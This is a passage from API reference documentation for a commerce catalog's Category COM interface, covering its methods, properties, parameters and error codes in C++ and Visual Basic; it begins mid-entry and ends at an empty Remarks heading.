[in, optional] A VARIANT that causes a forced update of the category properties.
fForceUpdate [Visual Basic]
A Variant that causes a forced update of the category properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_CANT_EDIT_INCLUDED_CATEGORY | [C++] 0x88980105 [Visual Basic] &H88980105 | A virtual catalog’s included categories cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &Hx889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_CHANGED | [C++] 0x88980028 [Visual Basic] &H88980028 | The category has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should be between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should be between minium and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_NULL_PRICE_NOT_ALLOWED | [C++] 0x8898003F [Visual Basic] &H8898003F | The list price for this category cannot be blank as this category is being used as a pricing category by other products in the catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the SetCategoryProperties method to modify the properties of a category. The pRSCategory parameter specifies a Recordset object that describes the new property values for this category. Use the Recordset object returned by the GetCategoryProperties property so that its time stamp can be compared for error checking.

If the fForceUpdate parameter is set to False, and the property values in the pRSCategory parameter have changed, the method will fail.

This method will not update the built in fields in the catalog. If this category is being used as a pricing category, then this method will update the price of all the products using this category as the pricing category.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.SetCategoryProperties pRSCategory, "TRUE"

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::SetRelatedCategories Method [C++]

Category.SetRelatedCategories Method [Visual Basic]

Use this method to update category relationships.

Definition

[C++]
HRESULT ICategory3::SetRelatedCategories(
  _Recordset* pRSRelatedCategories
);
[Visual Basic]
Sub SetRelatedCategories(
  pRSRelatedCategories As Recordset
)

Parameters

pRSRelatedCategories [C++]
[in] A reference to a Recordset object that contains the related categories.
pRSRelatedCategories [Visual Basic]
A Recordset object that contains the related categories.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[C++]

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

[Visual Basic]

The recordset used for the pRSRelatedCategories parameter should be obtained from the RelatedCategories property.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will fail.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedCategories is an existing recordset.
'It was obtained from the RelatedCategories property.

myCategory.SetRelatedCategories(pRSRelatedCategories)

See Also

[C++] Category Object

[Visual Basic] Category Object

[C++] get_RelatedCategories

[Visual Basic] RelatedCategories

[C++] RemoveRelationshipToCategory

[Visual Basic] RemoveRelationshipToCategory

[C++] AddRelationshipToCategory

[Visual Basic] AddRelationshipToCategory


ICategory3::SetRelatedProducts Method [C++]

Category.SetRelatedProducts Method [Visual Basic]

Use this method to update product relationships.

Definition

[C++]
HRESULT ICategory3::SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);
[Visual Basic]
Sub SetRelatedProducts(
  pRSRelatedProducts As Recordset
)

Parameters

pRSRelatedProducts [C++]
[in] A reference to a _Recordset object that contains the related products.
pRSRelatedProducts [Visual Basic]
A Recordset object that contains the related products.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[C++]

The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

[Visual Basic]

The recordset used for the pRSRelatedProducts parameter should be obtained from the RelatedProducts property.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will fail.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedProducts is an existing recordset.
'It was obtained from the RelatedProducts property.

myCategory.SetRelatedProducts(pRSRelatedProducts)

See Also

[C++] Category Object

[Visual Basic] Category Object

[C++] get_RelatedProducts

[Visual Basic] RelatedProducts

[C++] RemoveRelationshipToProduct

[Visual Basic] RemoveRelationshipToProduct

[C++] AddRelationshipToProduct

[Visual Basic] AddRelationshipToProduct


ICategory3 Properties [C++]

Category Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | _Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | _Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | _Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | _Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | _Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.


ICategory3::get_AncestorCategories Property [C++]

Category.AncestorCategories Property [Visual Basic]

The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this category in the hierarchy

Definition

[C++]
HRESULT ICategory3::get_AncestorCategories(
  _Recordset** AncestorCategories
);
[Visual Basic]
Property AncestorCategories As Recordset

Parameters

AncestorCategories [C++]
[out, retval] A _Recordset object used to return the ancestor categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The AncestorCategories property contains valid data only if it was accessed successfully.

The AncestorCategories property is a Recordset object with a 128-character field, called Name. The recordset also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

See Also

[C++] Category Object

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::get_ChildCategories

[Visual Basic] Category Object

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.ChildCategories


ICategory3::get_CatalogName Property [C++]

Category.CatalogName Method [Visual Basic]

The CatalogName property is a read-only String that contains the name of the catalog from which this category was retrieved.

Definition

[C++]
HRESULT ICategory3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CatalogName parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The CatalogName property contains valid data only if the property is accessed successfully.

The CatalogName property contains the name of the catalog from which this category object is obtained.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_CategoryName Property [C++]

Category.CategoryName Property [Visual Basic]

The CategoryName property is a read-only String that contains the name of this category.

Definition

[C++]
HRESULT ICategory3::get_CategoryName(
  BSTR* CategoryName
);
[Visual Basic]
Property CategoryName As String

Parameters

CategoryName [C++]
[out, retval] A BSTR used to return the category name.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CategoryName parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The CategoryName property contains valid data only if the property is accessed successfully.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_ChildCategories Property [C++]

Category.ChildCategories Property [Visual Basic]

The ChildCategories property is a read-only Recordset object that contains the names of categories that exist below this category in the hierarchy.

Definition

[C++]
HRESULT ICategory3::get_ChildCategories(
  _Recordset** ChildCategories
);
[Visual Basic]
Property ChildCategories As Recordset

Parameters

ChildCategories [C++]
[out, retval] A _Recordset object used to return the child categories.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ChildCategories parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The ChildCategories property contains valid data only if the property is accessed successfully.

The ChildCategories property recordset contains a row for each of the categories that are currently children of this category. The following table lists the fields for the ChildCategories property recordset.

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
DefinitionName String
maximum of 128 characters 		The name of the definition.
CatalogName String
maximum of 128 characters 		The name of the catalog that contains the category.
DisplayName String
maximum of 128 characters 		The display name of the category.

If this category object has no children, an empty recordset is returned whose EOF property is set to VARIANT_TRUE. Your code should check the value of this property to determine if child categories exist.

See Also

[C++] Category Object

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::get_AncestorCategories

[Visual Basic] Category Object

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.AncestorCategories


ICategory3::get_DescendantProducts Property [C++]

Category.DescendantProducts Property [Visual Basic]

The DescendantProducts property is a read-only Recordset object that contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog.

Definition

[C++]
HRESULT ICategory3::get_DescendantProducts(
  VARIANT eClassTypeRequired,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** DescendantProducts
);
[Visual Basic]
Property DescendantProducts(
  Optional eClassTypeRequired As Variant,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records in the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records in the query.
DescendantProducts [C++]
[out, retval] A _Recordset object used to return the descendant products.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++]The DescendantProducts parameter contains valid data only if the property is accessed successfully.

This property gets all the product, variant, or category data (depending on the value passed into the parameter eClassTypeRequired), which are directly or indirectly under this category.

[C++] The returned recordset contains all the fields in the CatalogProduct Recordset.

[Visual Basic] The returned recordset contains all the fields in the CatalogProduct Recordset.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[C++] ICategory3::get_RelatedProducts

[C++] ICategory3::get_Products

[Visual Basic] Category Object

[Visual Basic] Category.RelatedProducts

[Visual Basic] Category.Products


ICategory3::get_GetCategoryProperties Property [C++]

Category.GetCategoryProperties Property [Visual Basic]

The GetCategoryProperties property is a read-only recordset that contains the properties for this category. Both the properties that are present in the definition of this category, and the built-in properties, are returned.

Definition

[C++]
HRESULT ICategory3::get_GetCategoryProperties(
  _Recordset** GetCategoryProperties
);
[Visual Basic]
Property GetCategoryProperties As Recordset

Parameters

GetCategoryProperties [C++]
[out, retval] A _Recordset object used to return the category properties.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The GetCategoryProperties parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The GetCategoryProperties property contains valid data only if the property is accessed successfully.

[C++] The returned recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

[Visual Basic] The returned recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

The recordset returned is updateable, but disconnected. If this category has been deleted from the database, this property returns an error. For categories created in virtual catalogs, the category name returned in the recordset will not contain the appended catalog name.

See Also

[C++] Category Object

[C++] ICategory3::SetCategoryProperties

[Visual Basic] Category Object

[Visual Basic] Category.SetCategoryProperties


ICategory3::get_ParentCategories Property [C++]

Category.ParentCategories Property [Visual Basic]

The ParentCategories property is a read-only recordset that contains the names of the parent categories of this category.

Definition

[C++]
HRESULT ICategory3::get_ParentCategories(
  _Recordset** ParentCategories
);
[Visual Basic]
Property ParentCategories As Recordset

Parameters

ParentCategories [C++]
[out, retval] A _Recordset object used to return the parent categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ParentCategories parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The ParentCategories property contains valid data only if the property is accessed successfully.

The ParentCategories property contains the names of the categories that are parent categories of this category. The recordset returned contains a 128-character string column, called Name, and one row for each parent that exists.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
Name String
Maximum of 128 characters 		Name of the parent category.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

If this category is a root category, it has no parent categories, and an empty recordset is returned whose EOF property is set to VARIANT_TRUE.

See Also

[C++] Category Object

[C++] ICategory3::get_AncestorCategories

[C++] ICategory3::get_ChildCategories

[Visual Basic] Category Object

[Visual Basic] Category.AncestorCategories

[Visual Basic] Category.ChildCategories


ICategory3::get_PrimaryParent, put_PrimaryParent Property [C++]

Category.PrimaryParent Property [Visual Basic]

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[C++]

Get method:

HRESULT ICategory3::get_PrimaryParent(
  BSTR* PrimaryParent
);

Put method:

HRESULT ICategory3::put_PrimaryParent(
  BSTR PrimaryParent
);
[Visual Basic]
Property PrimaryParent As String

Parameters

PrimaryParent [C++]
[in] When putting the property, a BSTR that contains the primary parent.
[out, retval] When getting the property, a BSTR used to return the primary parent.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C++] 0x889800AC [Visual Basic] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules. If there is no primary parent this property contains an empty string.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_Products Property [C++]

Category.Products Property [Visual Basic]

The Products property is a read-only recordset that contains product data for all of the products that exist directly within this category.

Definition

[C++]
HRESULT ICategory3::get_Products(
  VARIANT eClassTypeRequired,
  VARIANT strPropertyToSortOn,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** Products
);
[Visual Basic]
Property Products(
  Optional eClassTypeRequired As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property to sort on. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property to sort on. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records in the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records in the query.
Products [C++]
[out, retval] A _Recordset object used to return the products.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

